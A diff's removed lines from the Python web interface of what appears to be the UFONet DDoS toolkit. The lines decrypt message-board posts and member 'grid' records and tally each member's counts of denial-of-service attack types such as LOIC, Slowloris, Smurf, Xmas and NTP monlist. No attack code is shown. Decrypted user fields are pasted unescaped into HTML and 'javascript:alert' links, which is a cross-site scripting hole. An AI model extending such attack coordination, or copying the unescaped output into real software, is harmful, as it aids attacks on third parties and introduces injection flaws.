- self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/news":
- self.pages["/news"] = self.html_news()
- if page == "/missions":
- self.pages["/missions"] = self.html_missions()
- if page == "/board":
- self.pages["/board"] = self.html_board()
- if page == "/grid":
- self.pages["/grid"] = self.html_grid()
- if page == "/wargames":
- self.pages["/wargames"] = self.html_wargames()
- if page == "/grid_profile":
- if pGet=={}:
- self.pages["/grid_profile"] = self.html_grid_profile()
- else:
- self.save_grid(pGet)
- self.pages["/grid_profile"] = self.html_grid_profile_submit()
- if page == "/board_profile":
- if pGet =={}:
- self.pages["/board_profile"] = self.html_board_profile()
- else:
- self.save_profile(pGet)
- self.pages["/board_profile"] = self.html_board_profile_submit()
- if page == "/board_remove":
- self.pages["/board_remove"] = self.html_board_remove()
- if page == "/grid_remove":
- self.pages["/grid_remove"] = self.html_grid_remove()
- if page == "/cmd_decrypt_moderator_board":
- self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
- try:
- board_key = pGet["board_key"]
- except:
- board_key = ""
- try:
- filter = pGet["filter"]
- except:
- filter = ""
- end_mark = "\n[Info] [AI] End of decryption."
- if board_key is not "": # board decryption
- nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
- f = open("/tmp/out", "w")
- b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
- f.write(str(b)+"\n")
- self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
- for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
- if board_msg_sep in m:
- m = m.split(board_msg_sep)
- topic = m[0] # topic
- t = m[1] # icon
- n = m[2] # nick
- g = m[3] # id
- l = m[4] # comment
- if topic == "1":
- topic = "/GENERAL"
- elif topic == "2":
- topic = "/#OPSEC "
- elif topic == "3":
- topic = "/FAQ "
- elif topic == "4":
- topic = "/BUGS "
- elif topic == "5":
- topic = "/MEDIA "
- else:
- topic = "/BUGS[!]"
- operator_img = open("core/images/crew/link"+str(t)+".txt").read()
- icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
- self.decrypt(board_key, n)
- if self.decryptedtext:
- nick = self.decryptedtext
- else:
- nick = 'Anonymous' # We are legion!
- try:
- nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
- except:
- pass
- if len(nick) < 3:
- nick = 'Anonymous'
- self.decryptedtext = "" # clean decryptedtext buffer
- id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
- self.decrypt(board_key, l)
- if self.decryptedtext:
- msg = self.decryptedtext
- else:
- msg = nodec_text
- try:
- msg = msg.decode('latin-1')
- except:
- pass
- if len(msg) < 2:
- msg = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- if filter in topic or filter == "ALL": # filter content by user selection
- b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
- b += "<font size=+2>"+str(topic)+"</font>"
- b += "<br>by "+str(nick)+"<br><br>"
- b += str(msg) + "</td></tr>"
- f.write(str(b)+"\n")
- else:
- pass
- else: # not valid stream data
- pass
- b="</table>"
- f.write(str(b)+"\n")
- f.write(end_mark)
- f.close()
- if page == "/cmd_decrypt_moderator_board_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_decrypt_grid":
- self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
- try:
- grid_key = pGet["grid_key"]
- except:
- grid_key = ""
- end_mark = "[Info] [AI] End of decryption."
- if grid_key is not "": # grid decryption
- # Mothership stats counters
- mothership_members = 0
- unknown_members = 0
- member_1 = 0 # Rookie
- member_2 = 0 # Mercenary
- member_3 = 0 # Bandit
- member_4 = 0 # UFOmmander!
- member_5 = 0 # UFOl33t!
- mothership_missions = 0
- mothership_transferred = 0
- mothership_attacks = 0
- mothership_loic = 0
- mothership_loris = 0
- mothership_ufosyn = 0
- mothership_spray = 0
- mothership_smurf = 0
- mothership_xmas = 0
- mothership_nuke = 0
- mothership_tachyon = 0
- mothership_monlist = 0
- mothership_chargo = 0
- mothership_dorking = 0
- mothership_maxchargo = 0
- nodec_text = "KEY?"
- grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
- grid_key = pGet["grid_key"]
- f = open("/tmp/out", "w")
- self.list_grid_rev = reversed(self.list_grid) # order by DESC
- for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID
- if grid_msg_sep in m:
- version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4)
- m = m.split(grid_msg_sep)
- mothership_members = mothership_members + 1 # add new registered member to mothership stats
- grid_nickname = m[0] # nickname
- self.decrypt(grid_key, grid_nickname)
- if self.decryptedtext:
- grid_nickname = self.decryptedtext
- else:
- grid_nickname = nodec_text
- unknown_members = unknown_members + 1 # add members as unknown
- self.decryptedtext = "" # clean decryptedtext buffer
- if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
- grid_nickname = "Anonymous"
- else:
- grid_nickname = str(grid_nickname) # nickname
- grid_ranking = m[1] # ranking
- self.decrypt(grid_key, grid_ranking)
- if self.decryptedtext:
- try:
- grid_ranking = int(self.decryptedtext)
- except:
- grid_ranking = nodec_text
- else:
- grid_ranking = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- if grid_ranking == 1: #Rookie
- grid_ranking = "<font color='white' size='4'>*</font>"
- member_1 = member_1 + 1
- elif grid_ranking == 2: # Mercenary
- grid_ranking = "<font color='cyan' size='4'>**</font>"
- member_2 = member_2 + 1
- elif grid_ranking == 3: # Bandit
- grid_ranking = "<font color='blueviolet' size='4'>***</font>"
- member_3 = member_3 + 1
- elif grid_ranking == 4: # UFOmmander!
- grid_ranking = "<font color='blue' size='4'>****</font>"
- member_4 = member_4 + 1
- elif grid_ranking == 5: # UFOl33t!
- grid_ranking = "<font color='red' size='4'>▼</font>"
- member_5 = member_5 + 1
- else:
- grid_ranking = nodec_text
- grid_totalchargo = m[2] # total chargo
- self.decrypt(grid_key, grid_totalchargo)
- if self.decryptedtext:
- grid_totalchargo = self.decryptedtext
- else:
- grid_totalchargo = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_totalchargo = int(grid_totalchargo)
- mothership_chargo = mothership_chargo + grid_totalchargo
- except:
- grid_totalchargo = nodec_text
- grid_dorking = m[3] # dorking
- self.decrypt(grid_key, grid_dorking)
- if self.decryptedtext:
- grid_dorking = self.decryptedtext
- else:
- grid_dorking = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_dorking = int(grid_dorking)
- mothership_dorking = mothership_dorking + grid_dorking
- except:
- grid_dorking = nodec_text
- grid_transferred = m[4] # transferred
- self.decrypt(grid_key, grid_transferred)
- if self.decryptedtext:
- grid_transferred = self.decryptedtext
- else:
- grid_transferred = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_transferred = int(grid_transferred)
- mothership_transferred = mothership_transferred + grid_transferred
- except:
- grid_transferred = nodec_text
- grid_maxchargo = m[5] # maxchargo
- self.decrypt(grid_key, grid_maxchargo)
- if self.decryptedtext:
- grid_maxchargo = self.decryptedtext
- else:
- grid_maxchargo = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_maxchargo = int(grid_maxchargo)
- mothership_maxchargo = mothership_maxchargo + grid_maxchargo
- except:
- grid_maxchargo = nodec_text
- grid_missions = m[6] # missions
- self.decrypt(grid_key, grid_missions)
- if self.decryptedtext:
- grid_missions = self.decryptedtext
- else:
- grid_missions = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_missions = int(grid_missions)
- mothership_missions = mothership_missions + grid_missions
- except:
- grid_missions = nodec_text
- grid_attacks = m[7] # attacks
- self.decrypt(grid_key, grid_attacks)
- if self.decryptedtext:
- grid_attacks = self.decryptedtext
- else:
- grid_attacks = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_attacks = int(grid_attacks)
- mothership_attacks = mothership_attacks + grid_attacks
- except:
- grid_attacks = nodec_text
- grid_loic = m[8] # loic
- self.decrypt(grid_key, grid_loic)
- if self.decryptedtext:
- grid_loic = self.decryptedtext
- else:
- grid_loic = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_loic = int(grid_loic)
- mothership_loic = mothership_loic + grid_loic
- except:
- grid_loic = nodec_text
- if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
- grid_loris = m[9] # loris
- self.decrypt(grid_key, grid_loris)
- if self.decryptedtext:
- grid_loris = self.decryptedtext
- else:
- grid_loris = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_loris = int(grid_loris)
- mothership_loris = mothership_loris + grid_loris
- except:
- grid_loris = nodec_text
- else:
- grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
- self.decrypt(grid_key, grid_loris)
- if self.decryptedtext:
- grid_loris = self.decryptedtext
- else:
- grid_loris = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_loris = int(grid_loris)
- mothership_loris = mothership_loris + grid_loris
- except:
- grid_loris = nodec_text
- if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
- grid_ufosyn = m[10] # ufosyn
- self.decrypt(grid_key, grid_ufosyn)
- if self.decryptedtext:
- grid_ufosyn = self.decryptedtext
- else:
- grid_ufosyn = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_ufosyn = int(grid_ufosyn)
- mothership_ufosyn = mothership_ufosyn + grid_ufosyn
- except:
- grid_ufosyn = nodec_text
- else:
- grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
- self.decrypt(grid_key, grid_ufosyn)
- if self.decryptedtext:
- grid_ufosyn = self.decryptedtext
- else:
- grid_ufosyn = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_ufosyn = int(grid_ufosyn)
- mothership_ufosyn = mothership_ufosyn + grid_ufosyn
- except:
- grid_ufosyn = nodec_text
- if version > 17 or version == 17 or version == 16 or version == 15:
- grid_spray = m[11] # spray
- self.decrypt(grid_key, grid_spray)
- if self.decryptedtext:
- grid_spray = self.decryptedtext
- else:
- grid_spray = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_spray = int(grid_spray)
- mothership_spray = mothership_spray + grid_spray
- except:
- grid_spray = nodec_text
- else:
- grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
- self.decrypt(grid_key, grid_spray)
- if self.decryptedtext:
- grid_spray = self.decryptedtext
- else:
- grid_spray = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_spray = int(grid_spray)
- mothership_spray = mothership_spray + grid_spray
- except:
- grid_spray = nodec_text
- if version > 17 or version == 17 or version == 16 or version == 15:
- grid_smurf = m[12] # smurf
- self.decrypt(grid_key, grid_smurf)
- if self.decryptedtext:
- grid_smurf = self.decryptedtext
- else:
- grid_smurf = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_smurf = int(grid_smurf)
- mothership_smurf = mothership_smurf + grid_smurf
- except:
- grid_smurf = nodec_text
- else:
- grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
- self.decrypt(grid_key, grid_smurf)
- if self.decryptedtext:
- grid_smurf = self.decryptedtext
- else:
- grid_smurf = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_smurf = int(grid_smurf)
- mothership_smurf = mothership_smurf + grid_smurf
- except:
- grid_smurf = nodec_text
- if version > 17 or version == 17 or version == 16 or version == 15:
- grid_xmas = m[13] # xmas
- self.decrypt(grid_key, grid_xmas)
- if self.decryptedtext:
- grid_xmas = self.decryptedtext
- else:
- grid_xmas = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_xmas = int(grid_xmas)
- mothership_xmas = mothership_xmas + grid_xmas
- except:
- grid_xmas = nodec_text
- else:
- grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
- self.decrypt(grid_key, grid_xmas)
- if self.decryptedtext:
- grid_xmas = self.decryptedtext
- else:
- grid_xmas = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_xmas = int(grid_xmas)
- mothership_xmas = mothership_xmas + grid_xmas
- except:
- grid_xmas = nodec_text
- if version > 17 or version == 17 or version == 16:
- grid_nuke = m[14] # nuke
- self.decrypt(grid_key, grid_nuke)
- if self.decryptedtext:
- grid_nuke = self.decryptedtext
- else:
- grid_nuke = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_nuke = int(grid_nuke)
- mothership_nuke = mothership_nuke + grid_nuke
- except:
- grid_nuke = nodec_text
- else:
- grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
- self.decrypt(grid_key, grid_nuke)
- if self.decryptedtext:
- grid_nuke = self.decryptedtext
- else:
- grid_nuke = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_nuke = int(grid_nuke)
- mothership_nuke = mothership_nuke + grid_nuke
- except:
- grid_nuke = nodec_text
- if version > 17 or version == 17:
- grid_tachyon = m[15] # tachyon
- self.decrypt(grid_key, grid_tachyon)
- if self.decryptedtext:
- grid_tachyon = self.decryptedtext
- else:
- grid_tachyon = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_tachyon = int(grid_tachyon)
- mothership_tachyon = mothership_tachyon + grid_tachyon
- except:
- grid_tachyon = nodec_text
- else:
- grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
- self.decrypt(grid_key, grid_tachyon)
- if self.decryptedtext:
- grid_tachyon = self.decryptedtext
- else:
- grid_tachyon = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_tachyon = int(grid_tachyon)
- mothership_tachyon = mothership_tachyon + grid_tachyon
- except:
- grid_tachyon = nodec_text
- if version > 17:
- grid_monlist = m[16] # monlist
- self.decrypt(grid_key, grid_monlist)
- if self.decryptedtext:
- grid_monlist = self.decryptedtext
- else:
- grid_monlist = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_monlist = int(grid_monlist)
- mothership_monlist = mothership_monlist + grid_monlist
- except:
- grid_monlist = nodec_text
- else:
- grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
- self.decrypt(grid_key, grid_monlist)
- if self.decryptedtext:
- grid_monlist = self.decryptedtext
- else:
- grid_monlist = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- try: # parse for int
- grid_monlist = int(grid_monlist)
- mothership_monlist = mothership_monlist + grid_monlist
- except:
- grid_monlist = nodec_text
- if version > 17:
- grid_contact = m[17] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- if len(grid_contact) > 120 or len(grid_contact) < 3: # m[17] = grid_contact (>str3<str120)
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- else:
- try:
- if " " in grid_contact: # m[17] = grid_contact
- grid_contact = grid_contact.replace(" ","")
- grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
- except:
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- try:
- grid_id = m[18] # id
- except:
- grid_id = '6666666666666666666666666666666666666' # fake id
- elif version == 17:
- grid_contact = m[16] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_contact = str(grid_contact) # contact
- if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- else:
- try:
- if " " in grid_contact: # m[16] = grid_contact
- grid_contact = grid_contact.replace(" ","")
- grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
- except:
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- try:
- grid_id = m[17] # id
- except:
- grid_id = '6666666666666666666666666666666666666' # fake id
- elif version == 16:
- grid_contact = m[15] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_contact = str(grid_contact) # contact
- if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- else:
- try:
- if " " in grid_contact: # m[15] = grid_contact
- grid_contact = grid_contact.replace(" ","")
- grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
- except:
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- try:
- grid_id = m[16] # id
- except:
- grid_id = '6666666666666666666666666666666666666' # fake id
- elif version == 15:
- grid_contact = m[14] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_contact = str(grid_contact) # contact
- if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- else:
- try:
- if " " in grid_contact: # m[14] = grid_contact
- grid_contact = grid_contact.replace(" ","")
- grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
- except:
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- try:
- grid_id = m[15] # id
- except:
- grid_id = '6666666666666666666666666666666666666' # fake id
- elif version == 12:
- grid_contact = m[11] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_contact = str(grid_contact) # contact
- if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- else:
- try:
- if " " in grid_contact: # m[11] = grid_contact
- grid_contact = grid_contact.replace(" ","")
- grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
- except:
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- try:
- grid_id = m[12] # id
- except:
- grid_id = '6666666666666666666666666666666666666' # fake id
- elif version == 11:
- grid_contact = m[10] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_contact = str(grid_contact) # contact
- if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- else:
- try:
- if " " in grid_contact: # m[10] = grid_contact
- grid_contact = grid_contact.replace(" ","")
- grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
- except:
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- try:
- grid_id = m[11] # id
- except:
- grid_id = '6666666666666666666666666666666666666' # fake id
- elif version == 10:
- grid_contact = m[9] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_contact = str(grid_contact) # contact
- if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- else:
- try:
- if " " in grid_contact: # m[9] = grid_contact
- grid_contact = grid_contact.replace(" ","")
- grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
- except:
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- try:
- grid_id = m[10] # id
- except:
- grid_id = '6666666666666666666666666666666666666' # fake id
- else:
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
- grid_id = '6666666666666666666666666666666666666' # fake id
- try: # parsing for valid stream struct
- grid_ranking = str(grid_ranking)
- if grid_ranking == nodec_text: # hide any data when user is encrypted
- grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
- grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
- else:
- grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
- except:
- grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
- grid_table += "</table><br>"
- l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
- mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>▼</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr></table><br><hr><br>"
- f.write(mother_table)
- f.write(grid_table)
- f.write(end_mark)
- f.close()
- else: # not valid stream data
- pass
- if page == "/cmd_decrypt_grid_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_decrypt_wargames":
- self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
- wargames_join_flag = False # anti-join flag for non decrypted wargames
- try:
- wargames_deckey = pGet["wargames_deckey"]
- except:
- wargames_deckey = ""
- end_mark = "[Info] [AI] End of decryption."
- if wargames_deckey is not "": # wargames decryption
- nodec_text = "KEY?"
- try: # read global army supply from configuration file (json)
- with open(self.mothership_supplycfg_file) as data_file:
- data = json.load(data_file)
- except:
- if os.path.exists(self.mothership_supplycfg_file) == True:
